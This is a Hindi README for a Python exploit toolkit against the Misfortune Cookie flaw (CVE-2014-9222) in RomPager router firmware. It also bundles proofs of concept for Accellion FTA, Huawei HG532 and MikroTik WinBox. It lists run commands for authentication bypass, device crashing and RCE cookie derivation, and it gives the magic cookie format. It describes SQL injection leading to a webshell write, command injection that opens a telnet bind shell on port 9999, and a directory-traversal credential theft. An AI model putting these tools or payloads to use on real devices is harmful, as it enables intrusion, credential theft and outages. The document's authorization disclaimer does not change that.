CVE-2014-9222 "Misfortune Cookie" PoC सूट

AllegroSoft RomPager के HTTP कुकी हैंडलिंग में स्टैक ओवरफ्लो (सभी संस्करण < 4.34)। एकल अनप्रमाणित अनुरोध जिसमें निर्मित Cookie: हेडर होता है, मेमोरी को दूषित करता है। प्रभाव: एडमिन प्रमाणीकरण बाईपास, DoS/रीबूट, और (फर्मवेयर-विशिष्ट ऑफसेट के साथ) रिमोट कोड निष्पादन।

केवल उन हार्डवेयर के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।

इंटरैक्टिव कंसोल (अनुशंसित)

python3 main.py                # फिर [1] के साथ टारगेट सेट करें
python3 main.py http://192.168.1.1

[1] टारगेट सेट / बदलें
[2] टारगेट फ़िंगरप्रिंट करें
[3] भेद्यता का पता लगाएं (सुरक्षित, गैर-विनाशकारी)
[4] प्रमाणीकरण बाईपास (मैजिक कुकी)
[5] DoS / डिवाइस को क्रैश करें  (विनाशकारी)
[6] RCE सहायक - फर्मवेयर पतों से कुकी प्राप्त करें
[7] मॉडल / कुकी तालिका देखें
[8] सभी भेद्यताओं के लिए स्कैन करें (प्रोब)
[A] Accellion FTA चेन (CVE-2021-27101 / 27102)
[B] Huawei HG532 (CVE-2017-17215)
[C] MikroTik WinBox (CVE-2018-14847)

हर क्रिया पहले प्रिंट करती है कि वह क्या करेगी; DoS के लिए YES टाइप करना आवश्यक है। प्रति-मॉडल फ़िंगरप्रिंट (realm) WWW-Authenticate हेडर से स्वतः पता लगाया जाता है और कुकी तालिका से मिलान किया जाता है।

स्कैन (विकल्प 8)

[8] गैर-विनाशकारी जांच के साथ चारों भेद्यता परिवारों के विरुद्ध एक होस्ट की जांच करता है और प्रिंट करता है कि कौन से पहुंच योग्य/संभावित रूप से भेद्य हैं:

python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215

फिर पुष्टि की गई भेद्यता का शोषण करने के लिए संबंधित मेनू प्रविष्टि ([3]/[4]/[A]/[B]/[C]) चलाएं।

अतिरिक्त PoC (समान कंसोल)

Misfortune Cookie के साथ, कंसोल तीन अन्य सामान्य एम्बेडेड/उपकरण भेद्यताओं के लिए PoC बंडल करता है:

• [A] Accellion FTA (accellion_fta.py) - Mandiant द्वारा वर्णित UNC2546 चेन को पुन: प्रस्तुत करता है: निर्मित Host हेडर (/courier/oauth.api) के माध्यम से SQL इंजेक्शन द्वारा w1 सीक्रेट पुनर्प्राप्त करें, फिर eval वेबशेल लिखने के लिए admin.pl ट्रिगर करें, और इसे सत्यापित करें। 27103 (SSRF) / 27104 (पोस्ट-प्रमाणीकरण cmd निष्पादन) नोट किए गए हैं लेकिन डिफ़ॉल्ट रूप से उपयोग नहीं किए जाते।
• [B] Huawei HG532 (huawei_hg532.py) - NewStatusURL में $(<cmd>) के साथ /ctrlt/DeviceUpgrade_1 पर SOAP POST, HTTP Digest प्रमाणीकरण dslf-config:admin; डिफ़ॉल्ट कमांड 9999 पर telnet बाइंड शेल खोलता है।
• [C] MikroTik WinBox () - WinBox प्रोटोकॉल पर डायरेक्टरी-ट्रैवर्सल फ़ाइल रीड; डिफ़ॉल्ट पढ़ता है और संग्रहीत क्रेडेंशियल्स को डिक्रिप्ट करता है ( XOR)।

सभी अतिरिक्त PoC के लिए कंसोल में स्पष्ट पुष्टि आवश्यक है।

स्टैंडअलोन CLI (समान इंजन)

python3 detect.py http://192.168.1.1                      # सुरक्षित जांच
python3 auth_bypass.py http://192.168.1.1                 # मॉडल स्वतः पता लगाया गया
python3 auth_bypass.py http://192.168.1.1 --restore       # प्रमाणीकरण पुनः सक्षम करें
python3 auth_bypass.py http://192.168.1.1 --all           # सभी ज्ञात कुकीज़ आज़माएं
python3 auth_bypass.py http://192.168.1.1 --brute         # संपूर्ण (बहुत धीमा, क्रैश करता है)
python3 dos.py http://192.168.1.1                         # क्रैश / रीबूट (विनाशकारी)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D        # पते -> (num, pad)

फ़ाइलें

मैजिक कुकी प्रारूप

Cookie: C<evilnum>=<pad "B" बाइट्स><payload>;

evilnum और pad फर्मवेयर-विशिष्ट हैं। evilnum RomPager की 0x28-बाइट कुकी सरणी को अनुक्रमित करता है (C_Array + evilnum*0x28 + pad = अधिलेखित पता)। exploitdb 39739 और Metasploit allegro_rompager_auth_bypass मॉड्यूल से विलय की गई प्रति-मॉडल तालिका common.py में है।

RCE पथ

एक सटीक फर्मवेयर छवि की आवश्यकता है। चरण (देखें rce/README.md): binwalk के साथ rootfs निकालें, बफर -> सहेजे गए $ra डेल्टा खोजने के लिए Ghidra में कुकी पार्सर को रिवर्स करें, derive_cookie.py के साथ (num, pad) प्राप्त करें, लाइव टारगेट को छूने से पहले QEMU-अनुकरणित छवि के विरुद्ध MIPS शेलकोड को मान्य करें।

संदर्भ

• https://nvd.nist.gov/vuln/detail/CVE-2014-9222
• https://web.archive.org/web/20141231080506/http://mis.fortunecook.ie/
• Metasploit: auxiliary/scanner/http/allegro_rompager_misfortune_cookie और auxiliary/admin/http/allegro_rompager_auth_bypass
• ExploitDB 39739 (Misfortune Cookie प्रमाणीकरण हटानेवाला)